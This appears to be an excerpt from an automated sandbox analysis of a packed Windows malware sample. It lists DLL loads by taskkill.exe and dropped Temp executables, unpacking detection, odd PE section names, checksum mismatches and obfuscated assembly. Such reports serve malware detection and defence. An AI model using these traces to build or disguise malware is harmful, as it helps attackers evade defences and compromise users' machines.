Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Section loaded: iphlpapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1973248 > 1048576

Source: file.exe

Static PE information: Raw size of cqnnvyhp is bigger than: 0x100000 < 0x1b0000

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.a10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.f40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.f40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Unpacked PE file: 7.2.d015c0e328.exe.720000.0.unpack :EW;.rsrc:W;.idata :W; :EW;okzfovcg:EW;ujgghjao:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;okzfovcg:EW;ujgghjao:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Unpacked PE file: 29.2.da69a13142.exe.5a0000.0.unpack :EW;.rsrc:W;.idata :W;lwvfpqpj:EW;nnhflwrw:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Unpacked PE file: 30.2.9b8665be8a.exe.830000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dsxuiljp:EW;oscjiabv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dsxuiljp:EW;oscjiabv:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1d1a28 should be: 0x1c61e1
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x2aaed0 should be: 0x2b6585
Source: da69a13142.exe.6.dr	Static PE information: real checksum: 0x2aaed0 should be: 0x2b6585
Source: 9b8665be8a.exe.6.dr	Static PE information: real checksum: 0x1b98b9 should be: 0x1b99e4
Source: d015c0e328.exe.6.dr	Static PE information: real checksum: 0x1d1a28 should be: 0x1c61e1
Source: file.exe	Static PE information: real checksum: 0x1e72d1 should be: 0x1f0fa5
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1e72d1 should be: 0x1f0fa5
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1b98b9 should be: 0x1b99e4

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: cqnnvyhp
Source: file.exe	Static PE information: section name: zjdghvcx
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: cqnnvyhp
Source: skotes.exe.0.dr	Static PE information: section name: zjdghvcx
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: okzfovcg
Source: random[1].exe.6.dr	Static PE information: section name: ujgghjao
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: d015c0e328.exe.6.dr	Static PE information: section name:
Source: d015c0e328.exe.6.dr	Static PE information: section name: .idata
Source: d015c0e328.exe.6.dr	Static PE information: section name:
Source: d015c0e328.exe.6.dr	Static PE information: section name: okzfovcg
Source: d015c0e328.exe.6.dr	Static PE information: section name: ujgghjao
Source: d015c0e328.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: dsxuiljp
Source: random[1].exe0.6.dr	Static PE information: section name: oscjiabv
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 9b8665be8a.exe.6.dr	Static PE information: section name:
Source: 9b8665be8a.exe.6.dr	Static PE information: section name: .idata
Source: 9b8665be8a.exe.6.dr	Static PE information: section name:
Source: 9b8665be8a.exe.6.dr	Static PE information: section name: dsxuiljp
Source: 9b8665be8a.exe.6.dr	Static PE information: section name: oscjiabv
Source: 9b8665be8a.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name: lwvfpqpj
Source: random[1].exe2.6.dr	Static PE information: section name: nnhflwrw
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: da69a13142.exe.6.dr	Static PE information: section name:
Source: da69a13142.exe.6.dr	Static PE information: section name: .idata
Source: da69a13142.exe.6.dr	Static PE information: section name: lwvfpqpj
Source: da69a13142.exe.6.dr	Static PE information: section name: nnhflwrw
Source: da69a13142.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659CB2D push 03CED6BBh; mov dword ptr [esp], ebx	7_2_0659CFEC
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659BE50 push edi; mov dword ptr [esp], ebx	7_2_0659EB3A
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_065A1642 push edi; mov dword ptr [esp], eax	7_2_065A1655
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659EE45 push eax; mov dword ptr [esp], 3FE6B71Fh	7_2_0659EE46
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659BE1C push ebp; mov dword ptr [esp], edx	7_2_0659C999
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_065A361D push ecx; mov dword ptr [esp], edi	7_2_065A3A70
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_065A361D push ebx; mov dword ptr [esp], eax	7_2_065A3CD5
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_065AB611 push ecx; mov dword ptr [esp], ebx	7_2_065AB616
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_065A1E0A push edi; mov dword ptr [esp], 7BDFC141h	7_2_065A1E0D
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659D638 push eax; mov dword ptr [esp], esi	7_2_0659D63A
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659AE3D push ebp; mov dword ptr [esp], ecx	7_2_0659AE51
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_065A0E2C push edx; mov dword ptr [esp], esi	7_2_065A1708
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659E6C5 push edx; mov dword ptr [esp], 6DFB2FEFh	7_2_0659E6D9
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659E6C5 push esi; mov dword ptr [esp], ecx	7_2_0659E6F6
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659E6C5 push 48C3D7D1h; mov dword ptr [esp], eax	7_2_0659E6FE
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659E6C5 push edi; mov dword ptr [esp], ecx	7_2_0659FD67
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659B6FD push eax; mov dword ptr [esp], ebp	7_2_0659B705
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659B6FD push edx; mov dword ptr [esp], eax	7_2_0659FCE5
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_065A5EFE push ebx; mov dword ptr [esp], esi	7_2_065A5F58
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_065A5EFE push edi; mov dword ptr [esp], 57CE79B3h	7_2_065A5F9E
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659C6FC push ebx; mov dword ptr [esp], ecx	7_2_0659C706
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659AE92 push edx; mov dword ptr [esp], 37D6F8CFh	7_2_0659AE96
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_0659AE92 push 011521E4h; mov dword ptr [esp], eax	7_2_0659AEC6
